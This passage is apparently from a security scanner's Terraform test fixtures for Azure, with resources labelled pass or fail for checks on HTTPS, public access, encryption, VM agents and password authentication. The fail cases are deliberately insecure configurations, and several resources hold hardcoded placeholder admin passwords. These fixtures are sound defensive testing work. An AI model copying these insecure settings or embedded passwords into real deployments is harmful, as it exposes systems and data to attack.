    "content": "# pass\n\nresource \"azurerm_storage_account\" \"default\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"enabled\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  enable_https_traffic_only = true\n}\n\n# fail\n\nresource \"azurerm_storage_account\" \"disabled\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = \"azurerm_resource_group.example.name\"\n  location                 = \"azurerm_resource_group.example.location\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  enable_https_traffic_only = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageAccountsUseReplication/main.tf",
    "content": "\nresource \"azurerm_storage_account\" \"pass\" {\n  name                            = \"storageaccountname\"\n  resource_group_name             = azurerm_resource_group.example.name\n  location                        = azurerm_resource_group.example.location\n  account_tier                    = \"Standard\"\n  account_replication_type        = \"GRS\"\n  enable_https_traffic_only       = false\n  allow_nested_items_to_be_public = true\n\n  tags = {\n    environment = \"staging\"\n  }\n}\nresource \"azurerm_storage_account\" \"fail\" {\n  name                            = \"storageaccountname\"\n  resource_group_name             = azurerm_resource_group.example.name\n  location                        = azurerm_resource_group.example.location\n  account_tier                    = \"Standard\"\n  account_replication_type        = \"LRS\"\n  allow_nested_items_to_be_public = false\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_storage_account\" \"pass2\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"RAGRS\"\n\n\n  tags = {\n    environment = \"staging\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageBlobRestrictPublicAccess/main.tf",
    "content": "\nresource \"azurerm_storage_account\" \"fail\" {\n  name                            = \"storageaccountname\"\n  resource_group_name             = azurerm_resource_group.example.name\n  location                        = azurerm_resource_group.example.location\n  account_tier                    = \"Standard\"\n  account_replication_type        = \"GRS\"\n  enable_https_traffic_only       = false\n  allow_nested_items_to_be_public = true\n\n  tags = {\n    environment = \"staging\"\n  }\n}\nresource \"azurerm_storage_account\" \"pass\" {\n  name                            = \"storageaccountname\"\n  resource_group_name             = azurerm_resource_group.example.name\n  location                        = azurerm_resource_group.example.location\n  account_tier                    = \"Standard\"\n  account_replication_type        = \"GRS\"\n  allow_nested_items_to_be_public = false\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_storage_account\" \"fail2\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n\n  tags = {\n    environment = \"staging\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageLocalUsers/main.tf",
    "content": "resource \"azurerm_storage_account\" \"pass\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  local_user_enabled       = false\n}\n\nresource \"azurerm_storage_account\" \"fail\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  local_user_enabled       = true\n}\n\nresource \"azurerm_storage_account\" \"pass_missing_not_sftp\" {\n  name                     = \"storageaccountname\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_account\" \"pass_missing_not_sftp2\" {\n  name                     = \"examplename\"\n  resource_group_name      = \"example\"\n  location                 = \"eastus\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"ZRS\"\n}\n\nresource \"azurerm_storage_account\" \"fail_missing_sftp\" {\n  name                     = \"examplename\"\n  resource_group_name      = \"example\"\n  location                 = \"eastus\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"ZRS\"\n  is_hns_enabled           = true\n}\n\nresource \"azurerm_storage_account\" \"pass_sftp_local_user_disabled\" {\n  name                     = \"examplename\"\n  resource_group_name      = \"example\"\n  location                 = \"eastus\"\n  account_tier             = \"Standard\"\n  account_replication_type = \"ZRS\"\n  is_hns_enabled           = true\n  local_user_enabled       = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_StorageSyncServicePermissiveAccess/main.tf",
    "content": "# not azurerm_storage_sync resource\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\n# fail\nresource \"azurerm_storage_sync\" \"fail1\" {\n  name                = \"example-storage-sync1\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  tags = {\n    foo = \"bar\"\n  }\n  incoming_traffic_policy = \"AllowAllTraffic\"\n}\n\n# pass\nresource \"azurerm_storage_sync\" \"pass\" {\n  name                = \"example-storage-sync2\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  tags = {\n    foo = \"bar\"\n  }\n  incoming_traffic_policy = \"AllowVirtualNetworksOnly\"\n}\n\n# fail - Default set to AllowAllTraffic\nresource \"azurerm_storage_sync\" \"fail2\" {\n  name                = \"example-storage-sync3\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  tags = {\n    foo = \"bar\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SynapseSQLPoolDataEncryption/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_example\" {\n  name                                 = \"MyAzureSynapseWorkspace\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_pass\" {\n  name                 = \"examplesqlpool\"\n  data_encrypted       = true\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n  storage_account_type = \"GRS\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_fail_A\" {\n  name                 = \"examplesqlpool\"\n  data_encrypted       = false\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n  storage_account_type = \"GRS\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_fail_B\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n  storage_account_type = \"GRS\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SynapseWorkspaceAdministratorLoginPasswordHidden/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_pass\" {\n  name                                 = \"MyAzureSynapseWorkspace\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_fail\" {\n  name                                 = \"MyAzureSynapseWorkspace\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SynapseWorkspaceCMKEncryption/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_pass\" {\n  name                                 = \"MyAzureSynapseWorkspace\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n  customer_managed_key {\n    key_versionless_id = azurerm_key_vault_key.example.versionless_id\n    key_name           = \"enckey\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_fail\" {\n  name                                 = \"MyAzureSynapseWorkspace\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_SynapseWorkspaceEnablesDataExfilProtection/main.tf",
    "content": "resource \"azurerm_synapse_workspace\" \"pass\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  managed_virtual_network_enabled      = false\n  data_exfiltration_protection_enabled = true\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace\" \"fail2\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  managed_virtual_network_enabled      = false\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace\" \"fail\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  managed_virtual_network_enabled      = false\n  data_exfiltration_protection_enabled = false\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VMAgentIsInstalled/main.tf",
    "content": "resource \"azurerm_linux_virtual_machine\" \"fail\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = file(\"~/.ssh/id_rsa.pub\")\n  }\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  provision_vm_agent = false\n}\nresource \"azurerm_linux_virtual_machine_scale_set\" \"fail\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_username      = \"adminuser\"\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = local.first_public_key\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n  provision_vm_agent = false\n}\n\nresource \"azurerm_linux_virtual_machine\" \"fail2\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = file(\"~/.ssh/id_rsa.pub\")\n  }\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  provision_vm_agent = false\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pass\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = file(\"~/.ssh/id_rsa.pub\")\n  }\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  provision_vm_agent = true\n}\n\nresource \"azurerm_windows_virtual_machine\" \"pass\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n\n  encryption_at_host_enabled = true\n  provision_vm_agent         = true\n}\n\nresource \"azurerm_windows_virtual_machine\" \"fail\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"\n\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n\n  encryption_at_host_enabled = true\n  provision_vm_agent = false\n}\n\nresource \"azurerm_windows_virtual_machine\" \"fail2\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"\n\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n\n  encryption_at_host_enabled = true\n  provision_vm_agent         = false\n}\n\nresource \"azurerm_windows_virtual_machine_scale_set\" \"fail\" {\n  name                     = \"example-vmss\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  sku                      = \"Standard_F2\"\n  instances                = 1\n  admin_password           = \"P@55w0rd1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n  admin_username           = \"adminuser\"\n  enable_automatic_updates = true\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter-Server-Core\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n  provision_vm_agent = false\n}\n\nresource \"azurerm_windows_virtual_machine_scale_set\" \"pass\" {\n  name                     = \"example-vmss\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  sku                      = \"Standard_F2\"\n  instances                = 1\n  admin_password           = \"P@55w0rd1234!\"\n  admin_username           = \"adminuser\"\n  enable_automatic_updates = true\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter-Server-Core\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n  provision_vm_agent = true\n}\n\nresource \"azurerm_linux_virtual_machine_scale_set\" \"passdefault\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_username      = \"adminuser\"\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = local.first_public_key\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n}\n\nresource \"azurerm_linux_virtual_machine_scale_set\" \"pass\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_username      = \"adminuser\"\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = local.first_public_key\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n  provision_vm_agent = true\n}\n\n\nresource \"azurerm_resource_group\" \"example\" {\n  location = \"uksouth\"\n  name     = \"test2\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VMCredsInCustomData/main.tf",
    "content": "# pass\n\nresource \"azurerm_virtual_machine\" \"no_secret\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = \"\"\n  network_interface_ids = []\n  resource_group_name   = \"\"\n  vm_size               = \"\"\n  storage_os_disk {\n    create_option = \"\"\n    name          = \"\"\n  }\n\n  os_profile {\n    admin_username = \"example\"\n    computer_name  = \"hostname\"\n    custom_data    = <<EOF\nexample\nEOF\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"no_custom_data\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = \"\"\n  network_interface_ids = []\n  resource_group_name   = \"\"\n  vm_size               = \"\"\n  storage_os_disk {\n    create_option = \"\"\n    name          = \"\"\n  }\n\n  os_profile {\n    admin_username = \"example\"\n    computer_name  = \"hostname\"\n  }\n}\n\nresource \"azurerm_virtual_machine\" \"empty_os_profile\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = \"\"\n  network_interface_ids = []\n  resource_group_name   = \"\"\n  vm_size               = \"\"\n  storage_os_disk {\n    create_option = \"\"\n    name          = \"\"\n  }\n\n  os_profile = [] # just for a test\n}\n\nresource \"azurerm_virtual_machine\" \"no_os_profile\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = \"\"\n  network_interface_ids = []\n  resource_group_name   = \"\"\n  vm_size               = \"\"\n  storage_os_disk {\n    create_option = \"\"\n    name          = \"\"\n  }\n}\n\n# fail\n\nresource \"azurerm_virtual_machine\" \"secret\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = \"\"\n  network_interface_ids = []\n  resource_group_name   = \"\"\n  vm_size               = \"\"\n  storage_os_disk {\n    create_option = \"\"\n    name          = \"\"\n  }\n\n  os_profile {\n    admin_username = \"example\"\n    computer_name  = \"hostname\"\n    custom_data    = <<EOF\n0000-0000-0000-0000-000000000000\nEOF\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VMDisablePasswordAuthentication/main.tf",
    "content": "resource \"azurerm_linux_virtual_machine_scale_set\" \"pass\" {\n  name                            = var.scaleset_name\n  resource_group_name             = var.resource_group.name\n  location                        = var.resource_group.location\n  sku                             = var.sku\n  instances                       = var.instance_count\n  admin_username                  = var.admin_username\n  disable_password_authentication = true\n  tags                            = { test = \"Fail\" }\n}\n\nresource \"azurerm_linux_virtual_machine_scale_set\" \"fail\" {\n  name                            = var.scaleset_name\n  resource_group_name             = var.resource_group.name\n  location                        = var.resource_group.location\n  sku                             = var.sku\n  instances                       = var.instance_count\n  admin_username                  = var.admin_username\n  disable_password_authentication = false\n  tags                            = { test = \"Fail\" }\n}\n\nresource \"azurerm_linux_virtual_machine_scale_set\" \"pass2\" {\n  name                = var.scaleset_name\n  resource_group_name = var.resource_group.name\n  location            = var.resource_group.location\n  sku                 = var.sku\n  instances           = var.instance_count\n  admin_username      = var.admin_username\n  tags                = { test = \"Fail\" }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pass\" {\n  admin_password      = \"admin\"\n  admin_username      = \"admin123\"\n  location            = azurerm_resource_group.test.location\n  name                = \"linux-vm\"\n  resource_group_name = azurerm_resource_group.test.name\n  size                = \"Standard_F2\"\n\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n}\n\nresource \"azurerm_network_interface\" \"test\" {\n  location            = \"uksouth\"\n  name                = \"test\"\n  resource_group_name = \"test\"\n  ip_configuration {\n    name                          = \"jim\"\n    private_ip_address_allocation = \"Dynamic\"\n  }\n}\nresource \"azurerm_resource_group\" \"test\" {\n  location = \"uksouth\"\n  name     = \"test\"\n}\nprovider \"azurerm\" {\n  features {}\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pass2\" {\n  admin_password                  = \"admin\"\n  admin_username                  = \"admin123\"\n  location                        = azurerm_resource_group.test.location\n  name                            = \"linux-vm\"\n  resource_group_name             = azurerm_resource_group.test.name\n  size                            = \"Standard_F2\"\n  disable_password_authentication = true\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n}\nresource \"azurerm_linux_virtual_machine\" \"fail\" {\n  admin_password                  = \"admin\"\n  admin_username                  = \"admin123\"\n  location                        = azurerm_resource_group.test.location\n  name                            = \"linux-vm\"\n  resource_group_name             = azurerm_resource_group.test.name\n  size                            = \"Standard_F2\"\n  disable_password_authentication = false\n  network_interface_ids = [\n    azurerm_network_interface.test.id\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VMDiskWithPublicAccess/main.tf",
    "content": "terraform {\n  required_providers {\n    azurerm = {\n      source  = \"hashicorp/azurerm\"\n      version = \"~> 2.0\"\n    }\n  }\n}\n\nprovider \"azurerm\" {\n  features {}\n}\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"East US\"\n}\n\nresource \"azurerm_managed_disk\" \"fail1\" {\n  name                 = \"acctestmd\"\n  location             = azurerm_resource_group.example.location\n  resource_group_name  = azurerm_resource_group.example.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n\n  public_network_access_enabled = true  # This line causes the policy failure\n}\n\nresource \"azurerm_managed_disk\" \"pass\" {\n  name                 = \"acctestmd\"\n  location             = azurerm_resource_group.example.location\n  resource_group_name  = azurerm_resource_group.example.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n\n  public_network_access_enabled = false  # This line causes the policy pass\n}\n\nresource \"azurerm_managed_disk\" \"fail2\" {\n  name                 = \"acctestmd\"\n  location             = azurerm_resource_group.example.location\n  resource_group_name  = azurerm_resource_group.example.name\n  storage_account_type = \"Standard_LRS\"\n  create_option        = \"Empty\"\n  disk_size_gb         = \"1\"\n\n  # public_network_access_enabled defaults to true - fail\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VMStorageOsDisk/main.tf",
    "content": "\nresource \"azurerm_windows_virtual_machine\" \"pass\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.main.location\n  resource_group_name   = azurerm_resource_group.main.name\n  network_interface_ids = [azurerm_network_interface.main.id]\n  vm_size               = \"Standard_DS1_v2\"\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = \"Standard_LRS\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"pass2\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.main.location\n  resource_group_name   = azurerm_resource_group.main.name\n  network_interface_ids = [azurerm_network_interface.main.id]\n  vm_size               = \"Standard_DS1_v2\"\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"fail\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.main.location\n  resource_group_name   = azurerm_resource_group.main.name\n  network_interface_ids = [azurerm_network_interface.main.id]\n  vm_size               = \"Standard_DS1_v2\"\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_os_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = \"Standard_LRS\"\n    vhd_uri           = \"someURI\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\nresource \"azurerm_windows_virtual_machine\" \"fail2\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.main.location\n  resource_group_name   = azurerm_resource_group.main.name\n  network_interface_ids = [azurerm_network_interface.main.id]\n  vm_size               = 